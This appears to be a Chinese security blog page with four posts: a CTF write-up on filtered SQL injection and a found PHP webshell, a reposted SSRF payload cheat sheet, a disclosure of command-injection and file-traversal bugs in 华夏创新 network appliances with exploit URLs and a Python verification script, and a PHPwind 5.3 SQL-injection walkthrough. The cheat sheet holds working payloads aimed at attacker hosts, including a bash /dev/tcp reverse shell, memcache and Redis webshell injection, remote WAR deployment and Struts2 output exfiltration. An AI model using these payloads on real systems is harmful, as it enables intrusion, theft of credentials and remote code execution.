神秘小姐姐的留言板

发布时间:March 17, 2017 // 分类:PHP,开发笔记,代码学习,代码审计 // No Comments

太久没有搞过这种耗脑子的游戏了

地址:http://c.bugscan.net/#!/boss/12

访问地址发现一任意文件读取

http://112.126.88.39:10247/include.php?file=suanfa.php

各种读以后发现medium.php中存在注入

<?php 
if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}
$id = $_POST['soid'];
include 'Conf/xycms.inc.php';
include 'seclover.php';
include 'filter.php';
$id = seclover($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$sql = "SELECT * FROM `message` WHERE display=1 AND id={$id}";
$rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br/>    '.filter($rs['say']).'<br />'; 
mysql_free_result($result); 
mysql_close($con);
?> 

读取seclover.php发现为一过滤函数

<?php
function seclover($content)
{
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0; $i <= count($keyword); $i++) {
        $info = str_replace($keyword[$i], '', $info);
    }
    return $info;
}

但是可以利用selselectect来匹配以后替换还剩下select这样的方式继续注入.继续回到medium.php。

if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}

发现需要匹配的ua必选是seclover Browser。不然不能执行sql语句。post传递的值经过没有什么用的mysql_real_escape_string以后再进入sql。
经过一番xxx发现字段为4.但是有一个神奇的存在,传递到sql的id必须是不存在的.不然sql正常执行了却没有办法回显我们需要的内容
传入一个存在的

传入一个不存在的

坑爹的玩意...折腾这个一个下午啊...
然后就是猜表..期间还下载了真正的源码回来测试.

$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");

果断的猜测是admin

果然是..用户名差字段不多就是username了.密码的字段找了一圈没有找到..后来发现后台是
http://112.126.88.39:10247/login/
观察了一下字段信息

  <form  name="login" method="post" 
  action="./pass.php">
    <label>用户名:
      <input type="text" name="username" />
    </label>
    <p>密&nbsp;码:
      <input type="password" name="userpass" />
  </p>
    <p>
      <label>
      <input type="submit" name="Submit" value="登录" />
      </label>
    </p>
  </form>

好吧,测试下userpass

soid=0/**/anandd/**/11%3C%3E12/**/uniunionon/**/selselectect/**/1,2,userppassass,4/**/ffromrom/**/aadmindmin/**/limit/**/1


得到的字符是加密的.记得第一次访问include.php的时候跟的是suanfa.php

<?php
base64_encode(rc4($content, "yangrong"));
function rc4($data, $pwd)
{
    $cipher = "";
    $key[] = "";
    $box[] = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[($box[$a] + $box[$j]) % 256];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}

搜了一下rc4的相关内容.发现了一些有趣的东西。C4 加密算法還原 (還原只需要重新加密一次)

$key = '5201314';                               //原始KEY
$pwd = md5(md5($key).'我是常量');     //md5+常量
$data = '我愛北京天安門';                    //要加密的數據
$cipher = rc4($pwd, $data);                //AC4 加密算法
$c = rc4($pwd, $cipher);                    //AC4 加密算法還原 (還原只需要重新加密一次)

那么解密的方式就是

访问就得到了密码。登录后台以后发现

果断的读取

<?php
$pwd = "cmd00";
if (isset($_POST[$pwd]) && !empty($_POST[$pwd])) {
    $cmd = $_POST['cmd'];
    $path = $_POST['path'];
    switch ($cmd) {
        case 'ls':
            echo @FileTreeCode($path);
            break;
        case 'cat':
            echo @file_get_contents($path);
            break;
        default:
            die('Command Not Found Or No Permission!');
            break;
    }
}
function FileTreeCode($D)
{
    $ret = "";
    $F = @opendir($D);
    if ($F == NULL) {
        $ret = "ERROR:// Path Not Found Or No Permission!";
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . "/" . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @($E = substr(base_convert(@fileperms($P), 10, 8), -4));
            $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
            if (@is_dir($P)) {
                $M .= $N . "/" . $R;
            } else {
                $L .= $N . $R;
            }
        }
        $ret .= $M . $L;
        @closedir($F);
    }
    return $ret;
}

一个小马..简直6到不行..

提交flag

太久没弄了..学到好多姿势..

SSRF Tips

发布时间:July 21, 2016 // 分类:运维工作,工作日志,PHP,linux,代码学习,生活琐事,代码审计 // No Comments

SSRF PHP function


 
file_get_contents()
fsockopen()
curl_exec()

URL schema support

SFTP




 
http://0cx.cc/ssrf.php?url=sftp://evil.com:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2

Dict




 
http://0cx.cc/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0

gopher











 
// http://0cx.cc/ssrf.php?url=http://evil.com/gopher.php
<?php
        header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>

evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test

TFTP





 
http://0cx.cc/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6

file

 
http://0cx.cc/redirect.php?url=file:///etc/passwd

ldap

 
http://0cx.cc/redirect.php?url=ldap://localhost:11211/%0astats%0aquit

PHP-FPM

PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exploit

SSRF memcache Getshell

Generate serialize



 
<?php
    $code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
    echo serialize($code)."\n".strlen(serialize($code));

Output


 
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据
59  //字符串长度

webshell.php




 
<?php
//gopher可以换成如上其它方式
    header('Location: gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>

back.php




 
<?php
    header('Location: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a');
?>

example Discuz

open the website



 
http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img]
http://bbs.0cx.cc/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

clear data


 
http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img]

backdoor url


 
http://bbs.0cx.cc/data/cache/hello.php

SSRF Redis Getshell

Generate serialize








 
<?php
    $a['output']['preg']['search']['plugins'] = '/.*/e';
    $a['output']['preg']['replace']['plugins'] = '@eval($_POST['c']);';
    $a['rewritestatus']=1;
    $setting = serialize($a);
    echo $setting."\n".strlen($setting);
?>

Output



 
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;}     //序列化数据
173     //字符串长度

example Discuz

Open website


 
http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44

Backdoor website


 
http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

FFmpeg

cat test.jpg






 
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://example.org/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

subfile






 
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST

PostgreSQL

Exploit



 
> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\​' password=1 port=11211 sslmode=disable','select
version();');

MongoDB

Exploit




 
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')
> nc -l 8000 | hexdump -C
> db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)

CouchDB

exploit


 
http://localhost:5984/_users/_all_docs










 
HTTP/1.1 200 OK
Server: CouchDB/1.2.0 (Erlang OTP/R15B01)
ETag: "BD1WV12007V05JTG4X6YHIHCA"
Date: Tue, 18 Dec 2012 21:39:59 GMT
Content-Type: text/plain; charset=utf-8
Cache-Control: must-revalidate

{"total_rows":1,"offset":0,"rows":[
{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}
]}

Attacker could also send requests from CouchDB server to intranet by using replication function









 
POST http://couchdb:5984/_replicate
Content-Type: application/json
Accept: application/json

{
    "source" : "recipes",
    "target" : "http://ssrf-me:11211/recipes",
}

Jboss

Jbosss POC


 
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

写入shell




 
http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
    upfile=http://10.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp%26name=jboss.system%3Aservice%3DMainDeployer%26methodIndex=3%26arg0=http%3A%2F%2F远端地址%2Fhtml5.war%23.jpg



 
http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
    upfile=http://内网IP:8080/html5/023.jsp%23.jpg

reverse shell


 
bash -i >& /dev/tcp/123.45.67.89/9999 0>&1

Weblogic

gopher.php




 
<?php
   header("Location:gopher://vps-ip:2333/_test");
?>

vuln website




 
https://example.com/uddiexplorer/SearchPublicRegistries.jsp
POST:
    operator=http://vps-ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

vps




 
> nc -lvv 2333

Connection from xx.xx.xx.xx port 2333 [tcp/snapp] accepted

Local File Read



 
http://www.xxx.com/redirect.php?url=file:///etc/passwd
http://www.xxx.com/redirect.php?url=file:///C:/Windows/win.ini

Bool SSRF

Struts2-016 POC



 
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
//修改SERVER为你vps地址,返回结果在access.log中查看

SSRF Proxy

SSRF_Proxy

ssrfsocks

from:http://blog.safebuff.com/2016/07/03/SSRF-Tips/

华夏创新四种设备存在命令执行以及文件遍历

发布时间:January 17, 2016 // 分类:PHP,代码学习,代码审计 // No Comments

1.任意文件读取

/tmp/appexcfg/www/acc/vpn/download.php

<?php
    $file = $_REQUEST['f'];
    if(!file_exists('/www/cert/'))//判断目录是否存在
        mkdir('/www/cert/');//不存在就创建
    if(!file_exists("/www/cert/$file"))//如果存在目录
        copy("/etc/easy-rsa/keys/$file", "/www/cert/$file");//复制文件
        
    header('Content-type: application/x-msdownload');
    header('Content-Disposition: attachment; filename="' . $file . '"');
    readfile("/www/cert/$file");//读取文件
?>

没有对这个过程做任何处理。直接遍历任意文件。利用文件遍历可以做一些其他的事情

2.命令执行一

/tmp/appexcfg/www/acc/network/redial_pppoe.php

<?php 
require_once dirname(__FILE__)."/../common/appexConfigInterface.inc";
//全局包含文件
$appexInterface = new AppexConfigInterface();
$wanName = $_GET['wan'];
$appexInterface->ifDownInterface($wanName);//调用ifDownInterface处理$wanName
$appexInterface->ifUpInterface($wanName);//调用ifUpInterface处理$wanName
?>

common/appexConfigInterface.inc中查看下ifDownInterface与ifUpInterface的方法

    public function ifDownInterface($ifName){       
        $command = sprintf ( $this->ifDownCmdFormat, $ifName );
        //echo ($command);
        execute ( $command );//经过ifDownCmdFormat后直接执行了
    } 
    
    public function ifUpInterface($ifName){         
        $command = sprintf ( $this->ifUpCmdFormat, $ifName );
        //echo ($command);
        execute ( $command );//经过ifDownCmdFormat后直接执行了
    } 

然后查看前面的private $ifDownCmdFormat = "/sbin/ifdown %s > /dev/null";

那么执行的方式就出来了。使用||来联合执行。wan=a|echo%20test>testvul.txt|| 

测试url: http://192.168.1.1/acc/network/redial_pppoe.php?wan=a|echo%20test>testvul.txt|| 

命令执行2

/tmp/appexcfg/www/acc/tools/enable_tool_debug.php

<?php
require_once dirname(__FILE__)."/../common/commandWrapper.inc";
error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);
$val = $_GET['val'];
$tool = $_GET['tool'];
$par = $_GET['par'];
runTool($val,$tool,$par);
?>

common/commandWrapper.inc中查看下runTool

function runTool($val,$tool,$par){
    if($val=="0"){
        UciUtil::setValue('system', 'runtool', 'tool', $tool);
        UciUtil::setValue('system', 'runtool', 'parameter', $par);
        UciUtil::commit('system');
        if($tool=="1"){
            exec('ping '.$par.'>/tmp/tool_result &');
//当val=0且tool=1的时候执行ping
        }else if($tool=="2"){
            exec('traceroute '.$par.'>/tmp/tool_result &');
//当val=0且tool=2的时候执行traceroute 
        }
    }else if($val=="1"){
        $tool=UciUtil::getValue('system', 'runtool', 'tool');
        if($tool=="1"){
            exec('killall ping ');//如果val=1且tool=1的时候执行killall ping
        }else if($tool=="2"){
            exec('killall traceroute ');//如果val=1且tool=2的时候执行killall  traceroute
        }
        UciUtil::setValue('system', 'runtool', 'tool', '');
        UciUtil::setValue('system', 'runtool', 'parameter', '');
        UciUtil::commit('system');
        exec('echo "">/tmp/tool_result');
    }
    
}

因此必须是enable_tool_debug.php?val=0的前提下才可以执行命令tool=1&par=-c 127.0.0.1 || echo test >test1.txt ||a

直接请求/acc/tools/enable_tool_debug.php?val=0&tool=1&par=-c%201%20localhost%20|%20echo%20testvul1%20>%20testvul.txt%20||%20a

查看testvul.txt内容有testvule即可

 

命令执行3

/tmp/appexcfg/www/acc/debug/bytecache_run_action.php

<?php 
require_once dirname(__FILE__)."/../common/commandWrapper.inc";
require_once dirname(__FILE__)."/../common/UciUtil.inc";
$action = $_GET['action'];
$engine = $_GET['engine'];
$ipfilter= $_GET['ipfilter'];
if($action=="1"){
    $ipFilterArray = split("[/.]",$ipfilter);             
    for($m =0 ;$m<4 ;$m++){
        if($ipFilterArray[$m]>15){
            $ipFilterArray[$m]=dechex($ipFilterArray[$m]);
        }else{
            $ipFilterArray[$m]="0".dechex($ipFilterArray[$m]);
        }
    }
    
    $ipFilterNum =$ipFilterArray[0].$ipFilterArray[1].$ipFilterArray[2].$ipFilterArray[3];
    UciUtil::setValue('appex', 'sys', 'BCDebugEngineId',$engine);
    UciUtil::setValue('appex', 'sys', 'BCDebugIpFilter',$ipfilter);
    startByteCacheDebug($engine,$ipFilterNum);需要查看下startByteCacheDebug函数
}else{
    $engine = UciUtil::getValue('appex', 'sys', 'BCDebugEngineId');
    stopByteCacheDebug($engine);
}

?>

从common/commandWrapper.inc里面看看startByteCacheDebug

function startByteCacheDebug($engine,$ipFilter){
    $command = "/tmp/appexcfg/bin/apxdebug.sh start "." ".$engine." ".$ipFilter." & ";  
    execute($command);
}

//这里就engine可控
function stopByteCacheDebug($engine){
    $command = "/tmp/appexcfg/bin/apxdebug.sh stop "." ".$engine." & ";   
    execute($command);
    //echo $command;
}
//这里也是就engine可控

直接贴上利用/acc/debug/bytecache_run_action.php?action=1&engine=test'|echo testvul>bug.txt||'a

命令执行4

/tmp/appexcfg/www/acc/bindipmac/static_arp_list_action.php 

$ethArr =  $_REQUEST["sysArpEth"];
$ipArr =  $_REQUEST["sysArpIp"];
$macArr =  $_REQUEST["sysArpMac"];
$isAddArr = "";
if(isset($_REQUEST["chkSysArpList"])){
    $isAddArr =  $_REQUEST["chkSysArpList"];
}
$len = count($isAddArr);
for($m=0;$m<$len;$m++){
    
    $isAdd =  $isAddArr[$m];
    $isBind =  "1";
    $arpDao = new ARPDao();
    $arpModel= new ARPModel();
    $arpModel->setIfname($ethArr[$isAdd]);
    $arpModel->setAlias($ipArr[$isAdd]);
    $arpModel->setIp($ipArr[$isAdd]);
    $arpModel->setMac($macArr[$isAdd]);
    $arpModel->setIsbind("1");
    $arpDao->addARPConfig($arpModel);//主要查看下addARPConfig
}

根据对应的名字,在/acc/common/config/dao/arpDao.inc里面查看到了addARPConfig

    public function addARPConfig($arpModel){
        $ipNum = bindec(decbin(ip2long($arpModel->getIp())));
        $arpName = $arpModel->getIfname()."arp".$ipNum;
        $arpModel->setName($arpName);
        $closeImmediately = false;
        if (! isset ( $this->dbWrapper )) {
            $this->openConnection ();
            $closeImmediately = true;
        }
        $sql = "select count(*) as num from " . IP_BIND_MAC_TABLE . " where ARPNAME='".$arpName."';";
        $this->dbWrapper->prepare ( $sql );
        $this->dbWrapper->execute ();
        $arpNum =0;
        if ($row = $this->dbWrapper->fetch ()) {
            $arpNum = $row ['num'] ;    
                
        }
        
        if ($arpNum==0) {
            $this->saveARPConfigToDb($arpModel);     
        }else{
            $this->updateARPConfigToDb($arpModel,$arpName);          
        }
        
        if ($closeImmediately) {
            $this->dbWrapper->close ();
            unset ( $this->dbWrapper );
        }
        
        $ifName = $arpModel->getIfname();
        $showIfName = "";
        $setName = $ifName;
        if(strpos($ifName,"vid")>-1){          
            $vArray = split ( 'vid', $ifName );
            $veth = $vArray[0];
            if(strpos($veth,"br")>-1){
                $veth = "br-".$veth;
            }
            $vid = $vArray[1];
            $showIfName = $veth.".".$vid;
        }else if(strpos($ifName,"br")>-1){         
            $showIfName='br-'.$ifName;
        }else{
            $showIfName=$ifName;
        }
        
        $arpConfigDAO = new ArpConfigDao ( );
        if($arpModel->getIsbind()==1){               
            $arpConfigDAO->setArpConfigValue($arpName, "arp");
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "ifname", $showIfName);
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "ipaddr", $arpModel->getIp());
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "mac", $arpModel->getMac());
            $arpConfigDAO->setArpConfigItemValue ( $arpName, "isbind", $arpModel->getIsbind());
            
            $arpConfigDAO->commit(); 
                
            $dhcpHostName = $arpName;
            $dhcpDAO = new DHCPDao() ;
            $dhcpDAO->setDHCPConfigValue($dhcpHostName, "host");
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "name" ,$dhcpHostName);
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "ip" ,$arpModel->getIp());     
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "mac" ,$arpModel->getMac());
            $dhcpDAO->setDHCPConfigItemValue( $dhcpHostName, "ifname" ,$setName );         
            $dhcpDAO->commit();          
            $this->delARPToSystem($arpModel);//前面是数据库的部分,剩下delARPToSystem与   addARPToSystem
            $arpModel->setIfname($showIfName);
            $this->addARPToSystem($arpModel);
        }
        
    }

在后面看到了addARPToSystem与delARPToSystem相关的定义

    public function addARPToSystem($arpModel){
        $tmpIfName = $arpModel->getIfname();
        $setName = '';
        if(strpos($tmpIfName,"vid")>-1){           
            $vArray = split ( 'vid', $tmpIfName );
            $tmpIfName = $vArray[0];
            $veth = $vArray[0];
            if(strpos($veth,"br")>-1){
                $veth = "br-".$veth;
            }
            $vid = $vArray[1];
            $setName = $veth.".".$vid;
        }else if(strpos($tmpIfName,"br")>-1){  
            if(strpos($tmpIfName,"-")>-1){     
                $setName = $tmpIfName;
            }else{
                $setName = "br-".$tmpIfName;
            }               
        }else{
            $setName=$tmpIfName;
        }
        $ipNeighCmd = "ip neigh add %s lladdr %s dev %s  >/dev/null";
        $command = sprintf ( $ipNeighCmd, $arpModel->getIp() , $arpModel->getMac(), $setName );
        execute ( $command );//再遇执行。获取到IP,MAC,机器名等
    }
    
    
    public function delARPToSystem($arpModel){
        
        $ipNeighCmd = "ip neigh del %s lladdr %s dev %s  >/dev/null";
        $command = sprintf ( $ipNeighCmd, $arpModel->getIp(), $arpModel->getMac(), $arpModel->getIfname()  );
        execute ( $command );//依旧执行
    }

依旧贴上利用:acc/bindipmac/static_arp_list_action.php?chkSysArpList[0]=0&sysArpEth[0]=1%27%20and%200%20union%20select%20%27a||echo%20testvul>testvul.txt||b--&sysArpIp[0]=1&sysArpMac[0]=1

依旧匹配testvul。附上测试脚本

#!/usr/bin/env python  
# -*- coding: utf-8 -*- 
import requests
def verify(arg):
    payloads = [
        arg + 'acc/network/redial_pppoe.php?wan=a|echo%20testvul>testvul.txt||',
        arg + 'acc/debug/bytecache_run_action.php?action=1&engine=test%27|echo%20testvul>testvul.txt||%27a',
        arg + 'acc/bindipmac/static_arp_list_action.php?chkSysArpList[0]=0&sysArpEth[0]=1%27%20and%200%20union%20select%20%27a||echo%20testvul>testvul.txt||b--&sysArpIp[0]=1&sysArpMac[0]=1',
        arg + 'acc/tools/enable_tool_debug.php?val=0&tool=1&par=-c%201%20localhost%20|%20echo%20testvul>testvul.txt%20||%20a',
    ]
    verifys = [
        arg + 'acc/network/testvul.txt',
        arg + 'acc/debug/testvul.txt',
        arg + 'acc/bindipmac/testvul.txt',
        arg + 'acc/tools/testvul.txt',
    ]
    for i in range(len(payloads)):
        payload = payloads[i]
        verify = verifys[i]
        response = requests.get(payload)
        if response.status_code == 200:
            response1 = requests.get(verify)
            if response1.status_code == 200 and 'testvul' in response1.content:
                print payload+"存在命令执行漏洞"
    payload = arg + 'acc/vpn/download.php?f=../../../../../../etc/passwd'
    response3 = requests.get(payload)
    if response3.status_code == 200 and 'root:x:0:0:' in response3.content:
        print payload+"存在任意文件遍历漏洞"
    
if __name__ == '__main__':
    host = str(sys.argv[1])
    verify(host)

如何成为1024最有钱的淫人

发布时间:November 9, 2015 // 分类:PHP,代码学习,代码审计 // 2 Comments

今天看到乌云社区一个帖子http://zone.wooyun.org/content/23830

挑战地址: http://42fcbe7be63be5032.jie.sangebaimao.com/ 模拟环境 

WooYun: 一个可以让你成为1024社区最富有の人的SQL注入漏洞 (漏洞已修复) 
但你能像猪猪侠一样成为1024最有钱的男人么? 

来挑战吧,成为最有钱的男人!!! 

本屌本着屌丝无惧的心理,看了下.过程发现比较low.因为程序的版本是PHPwind 5.3的。所以就看了低版本的

login.php

if ($action=="login"){
    if (!$step){
        $jumpurl=$pre_url;      
        require_once(R_P.'require/header.php');
        require_once PrintEot('login');footer();    
    } elseif($_POST['step']==2){
        $logingd && GdConfirm($gdcode);
        require_once(R_P.'require/checkpass.php');
        include_once(D_P."data/bbscache/dbreg.php");

        unset($hp);
        if($pwuser && $pwpwd){
            $md5_pwpwd=md5($pwpwd);
            list($winduid,$groupid,$pwpwd)=checkpass($pwuser,$md5_pwpwd);
        } else{
            Showmsg('login_empty');

再看看checkpass函数

function checkpass($username,$password){
    global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$men_uid;

    $men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.memberid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
    if($men){
        $e_login=explode("|",$men['onlineip']);
        if($e_login[0]!=$onlineip.' *' || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
            $men_uid=$men['uid'];
            $men_pwd=$men['password'];
            $check_pwd=$password;
            if($men['yz'] > 2){
                Showmsg('login_jihuo');
            }
            if(strlen($men_pwd)==16){
                $check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
            }
            if($men_pwd==$check_pwd){
                if(strlen($men_pwd)==16){
                    $db->update("UPDATE pw_members SET password='$password' WHERE uid='$men_uid'");
                }
                $L_groupid = $men['groupid']=='-1' ? $men['memberid'] : $men['groupid'];
                Cookie("ck_info",$db_ckpath."\t".$db_ckdomain);
            }else{
                global $L_T;
                $L_T=$e_login[2];
                $L_T ? $L_T--:$L_T=5;
                $F_login="$onlineip *|$timestamp|$L_T";
                $db->update("UPDATE pw_memberdata SET onlineip='$F_login' WHERE uid='$men_uid'");
                Showmsg('login_pwd_error');
            }
        }else{
            global $L_T;
            $L_T=600-($timestamp-$e_login[1]);
            Showmsg('login_forbid');
        }
    } else {
        global $errorname;
        $errorname=$username;
        Showmsg('user_not_exists');
    }
    return array($men_uid,$L_groupid,PwdCode($password));
}

这里首先对$username检测,然后通过就获取uid,再进入对账号和密码进行验证的阶段。我们再看看$onlineip 的获取

if($_SERVER['HTTP_X_FORWARDED_FOR']){
    $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $c_agentip=1;
}elseif($_SERVER['HTTP_CLIENT_IP']){
    $onlineip = $_SERVER['HTTP_CLIENT_IP'];
    $c_agentip=1;
}else{
    $onlineip = $_SERVER['REMOTE_ADDR'];
    $c_agentip=0;
}
$onlineip = preg_match("/^[\d]([\d\.]){5,13}[\d]$/", $onlineip) ? $onlineip : 'unknown';//这里限制了IP的长度

所以这里可能存在问题的地方在$uname 跟$onlineip 里面。如果账号密码输入后会更新pw_memberdata的记录UPDATE pw_memberdata SET onlineip='$F_login' WHERE uid='$men_uid'

这里任意构造账号和密码登录测试。更改X-Forwarded-For: '

然后查看pw_memberdata表的相关信息

uid 用户id
postnum 发贴数
digests精华帖子数
rvrc 威望
money 金钱
credit 贡献值
currency交易币
editor 是否开启所见即所得编辑器
lastvisit 最后访问时间
thisvisit 此次访问时间
lastpost 最后发贴时间
onlinetime 在线时长
todaypost 今日发贴
uploadtime 最后上传文件时间
uploadnum 上传文章数当天
onlineip 在线ip以及登陆相关信息(密码错误次数)
starttime 签名展示开始时间
数据表功能介绍:用户相关信息

这里的update是可以控制的,比如这里报错的信息是UPDATE pw_memberdata SET onlineip='', 114.139.236 *|1447066921|0' WHERE uid=1 ,如果账号和密码是正确的话,就会更新当前的登录IP,因为这里的没有限制,所以可以加入我们需要的东西

UPDATE pw_memberdata SET onlineip='',money=9999'114.139.236 *|1447066921|0' WHERE uid=1 因为长度是有限制的。所以不能加入太多东西,不然就能更新任意账号的密码了.

这里是第一个地方.第二个地方在wap/index.php里面。

elseif($prog == 'login'){
    if($windid){
        wap_msg('login_have');
    }elseif($pwuser && $pwpwd){
        wap_login($pwuser,md5($pwpwd));
    }

也是一样的在wap/wap_mod.php

function wap_login($username,$password){
    global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

    $men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
    if($men){
        $e_login=explode("|",$men['onlineip']);
        if($e_login[0]!=$onlineip.' *' || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
            $men_uid=$men['uid'];
            $men_pwd=$men['password'];
            $check_pwd=$password;
            if($men['yz'] > 2){
                wap_msg('c');
            }
            if(strlen($men_pwd)==16){
                $check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
            }
            if($men_pwd==$check_pwd){
                if(strlen($men_pwd)==16){
                    $db->update("UPDATE pw_members SET password='$password' WHERE uid='$men_uid'");
                }
                $L_groupid=(int)$men['groupid'];
                Cookie("ck_info",$db_ckpath."\t".$db_ckdomain);
            }else{
                global $L_T;
                $L_T=$e_login[2];
                $L_T ? $L_T--:$L_T=5;
                $F_login="$onlineip *|$timestamp|$L_T";
                $db->update("UPDATE pw_memberdata SET onlineip='$F_login' WHERE uid='$men_uid'");
                wap_msg('login_pwd_error');
            }
        }else{
            global $L_T;
            $L_T=600-($timestamp-$e_login[1]);
            wap_msg('login_forbid');
        }
    } else {
        global $errorname;
        $errorname=$username;
        wap_msg('user_not_exists');
    }
    Cookie("winduser",StrCode($men_uid."\t".PwdCode($password)));
    Cookie('lastvisit','',0);
    wap_msg('wap_login','index.php');
}

一样的发送数据包

POST /wap/index.php HTTP/1.1
Host: 42fcbe7be63be5032.jie.sangebaimao.com
Content-Length: 51
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://42fcbe7be63be5032.jie.sangebaimao.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://42fcbe7be63be5032.jie.sangebaimao.com/wap/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
